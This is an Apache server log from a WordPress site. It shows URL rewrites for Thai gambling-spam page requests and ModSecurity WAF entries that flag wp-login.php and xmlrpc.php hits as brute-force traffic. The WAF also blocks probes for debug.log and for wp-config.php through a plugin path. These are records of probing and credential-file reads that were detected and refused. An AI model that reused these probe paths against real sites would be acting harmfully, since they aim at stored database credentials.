[Mon Nov 10 18:39:21.966115 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] rewrite '\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a \xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95 888 \xe0\xb8\x9f\xe0\xb8\xa3\xe0\xb8\xb5\xe0\xb9\x80\xe0\xb8\x84\xe0\xb8\xa3\xe0\xb8\x94\xe0\xb8\xb4\xe0\xb8\x95.aspx' -> '/index.php'
[Mon Nov 10 18:39:21.966130 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:39:21.966150 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] trying to replace prefix /home/rcacivils/public_html/ with /
[Mon Nov 10 18:39:21.966160 2025] [rewrite:trace2] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] trying to replace context docroot /home/rcacivils/public_html with context prefix 
[Mon Nov 10 18:39:21.966174 2025] [rewrite:trace1] [pid 9710:tid 9720] mod_rewrite.c(505): [client 52.45.194.165:5440] 52.45.194.165 - - [www.rcacivilgroup.com/sid#3668698][rid#7f57fc0177d0/initial] [perdir /home/rcacivils/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:39:25.909001 2025] [rewrite:trace3] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx -> \xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx
[Mon Nov 10 18:39:25.909069 2025] [rewrite:trace3] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.*' to uri '\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx'
[Mon Nov 10 18:39:25.909094 2025] [rewrite:trace5] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:39:25.909108 2025] [rewrite:trace3] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx -> \xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx
[Mon Nov 10 18:39:25.909121 2025] [rewrite:trace3] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '^index\\.php$' to uri '\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx'
[Mon Nov 10 18:39:25.909127 2025] [rewrite:trace3] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx -> \xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx
[Mon Nov 10 18:39:25.909137 2025] [rewrite:trace3] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.' to uri '\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx'
[Mon Nov 10 18:39:25.909173 2025] [rewrite:trace4] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx' pattern='!-f' => matched
[Mon Nov 10 18:39:25.909203 2025] [rewrite:trace4] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx' pattern='!-d' => matched
[Mon Nov 10 18:39:25.909211 2025] [rewrite:trace2] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] rewrite '\xe0\xb8\x97\xe0\xb8\x94\xe0\xb8\xa5\xe0\xb8\xad\xe0\xb8\x87\xe0\xb9\x80\xe0\xb8\xa5\xe0\xb9\x88\xe0\xb8\x99\xe0\xb8\xaa\xe0\xb8\xa5\xe0\xb9\x87\xe0\xb8\xad\xe0\xb8\x95\xe0\xb9\x82\xe0\xb8\xa3\xe0\xb8\xa1\xe0\xb9\x88\xe0\xb8\xb2.aspx' -> '/index.php'
[Mon Nov 10 18:39:25.909218 2025] [rewrite:trace2] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:39:25.909228 2025] [rewrite:trace2] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] trying to replace prefix /home/rcacivils/public_html/ with /
[Mon Nov 10 18:39:25.909238 2025] [rewrite:trace2] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] trying to replace context docroot /home/rcacivils/public_html with context prefix 
[Mon Nov 10 18:39:25.909247 2025] [rewrite:trace1] [pid 9801:tid 9807] mod_rewrite.c(505): [client 34.224.9.144:61210] 34.224.9.144 - - [rcacivilgroup.com/sid#3668698][rid#7f58140180d0/initial] [perdir /home/rcacivils/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 18:39:30.823813 2025] [rewrite:trace3] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx -> ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx
[Mon Nov 10 18:39:30.823896 2025] [rewrite:trace3] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.*' to uri 'ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx'
[Mon Nov 10 18:39:30.823957 2025] [rewrite:trace5] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] setting env variable 'HTTP_AUTHORIZATION' to ''
[Mon Nov 10 18:39:30.823979 2025] [rewrite:trace3] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx -> ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx
[Mon Nov 10 18:39:30.823997 2025] [rewrite:trace3] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '^index\\.php$' to uri 'ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx'
[Mon Nov 10 18:39:30.824027 2025] [rewrite:trace3] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] strip per-dir prefix: /home/rcacivils/public_html/ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx -> ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx
[Mon Nov 10 18:39:30.824045 2025] [rewrite:trace3] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] applying pattern '.' to uri 'ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx'
[Mon Nov 10 18:39:30.824066 2025] [rewrite:trace4] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx' pattern='!-f' => matched
[Mon Nov 10 18:39:30.824088 2025] [rewrite:trace4] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] RewriteCond: input='/home/rcacivils/public_html/ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx' pattern='!-d' => matched
[Mon Nov 10 18:39:30.824110 2025] [rewrite:trace2] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] rewrite 'ufabet \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a\xe0\xb9\x80\xe0\xb8\xa7\xe0\xb9\x87\xe0\xb8\x9a\xe0\xb8\x95\xe0\xb8\xa3\xe0\xb8\x87.aspx' -> '/index.php'
[Mon Nov 10 18:39:30.824123 2025] [rewrite:trace2] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] setting lastsub to rule with output /index.php
[Mon Nov 10 18:39:30.824134 2025] [rewrite:trace2] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] trying to replace prefix /home/rcacivils/public_html/ with /
[Mon Nov 10 18:39:30.824144 2025] [rewrite:trace2] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] trying to replace context docroot /home/rcacivils/public_html with context prefix 
[Mon Nov 10 18:39:30.824153 2025] [rewrite:trace1] [pid 9711:tid 9749] mod_rewrite.c(505): [client 54.84.93.8:8567] 54.84.93.8 - - [rcacivilgroup.com/sid#3668698][rid#7f57f80177d0/initial] [perdir /home/rcacivils/public_html/] internal redirect with /index.php [INTERNAL REDIRECT]
[Mon Nov 10 19:09:12.581336 2025] [:error] [pid 24735:tid 24759] [client 124.226.222.66:40256] [client 124.226.222.66] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aRHH2LjgJpC-TpC_D6824wAAABI"]
[Mon Nov 10 20:02:36.612821 2025] [:error] [pid 60777:tid 60800] [client 209.142.65.90:33408] [client 209.142.65.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.142.65.90, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHUXKVFDBOcbrUi53uiZAAAAAo"]
[Mon Nov 10 20:02:37.965807 2025] [:error] [pid 60777:tid 60803] [client 209.142.65.90:33408] [client 209.142.65.90] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 209.142.65.90, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHUXaVFDBOcbrUi53uiZQAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 10 20:29:29.528878 2025] [autoindex:error] [pid 31136:tid 31154] [client 196.251.85.129:58105] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Nov 10 20:43:51.822370 2025] [:error] [pid 34820:tid 34839] [client 124.156.240.51:55892] [client 124.156.240.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 124.156.240.51, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHeB2K3qvhYIA1ghWDBgAAAARE"]
[Mon Nov 10 20:43:56.420978 2025] [:error] [pid 34820:tid 34845] [client 124.156.240.51:55892] [client 124.156.240.51] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 124.156.240.51, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHeDGK3qvhYIA1ghWDBiQAAARc"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 10 21:10:48.632114 2025] [:error] [pid 31029:tid 31050] [client 185.225.22.28:47228] [client 185.225.22.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.225.22.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHkWAaWYU_3FzBvTGj0HwAAAAE"]
[Mon Nov 10 21:10:52.828078 2025] [:error] [pid 31029:tid 31055] [client 185.225.22.28:47228] [client 185.225.22.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.225.22.28, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHkXAaWYU_3FzBvTGj0IgAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
[Mon Nov 10 21:35:25.711424 2025] [:error] [pid 34820:tid 34827] [client 94.63.42.200:56746] [client 94.63.42.200] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.63.42.200, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRHqHWK3qvhYIA1ghWDZ5QAAAQU"]
[Mon Nov 10 21:45:27.217889 2025] [:error] [pid 31029:tid 31050] [client 38.242.217.229:53352] [client 38.242.217.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.242.217.229, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHsdwaWYU_3FzBvTGj-8QAAAAE"]
[Mon Nov 10 21:45:30.027418 2025] [:error] [pid 31029:tid 31053] [client 38.242.217.229:53352] [client 38.242.217.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 38.242.217.229, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRHsegaWYU_3FzBvTGj-9AAAAAQ"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 11 00:50:10.472836 2025] [:error] [pid 24354:tid 24367] [client 91.92.242.56:53181] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||rcacivilgroup.com|F|2"] [data ".log"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "rcacivilgroup.com"] [uri "/wp-content/debug.log"] [unique_id "aRIXwiiUwEIL0MTd44PUlAAAAok"]
[Tue Nov 11 00:51:18.353905 2025] [:error] [pid 41825:tid 41906] [client 65.109.35.14:33096] [client 65.109.35.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.35.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRIYBor5hkwmQG_pQgACPwAAAFM"]
[Tue Nov 11 00:51:31.252032 2025] [:error] [pid 41825:tid 41894] [client 65.109.35.14:33096] [client 65.109.35.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 65.109.35.14, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRIYE4r5hkwmQG_pQgACUQAAAEc"], referer: https://rcacivilgroup.com/wp-login.php
[Tue Nov 11 01:04:26.998129 2025] [:error] [pid 24354:tid 24368] [client 91.92.242.56:53517] [client 91.92.242.56] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/usc-e-shop/functions/content-log.php"] [unique_id "aRIbGiiUwEIL0MTd44PZTwAAAoo"]
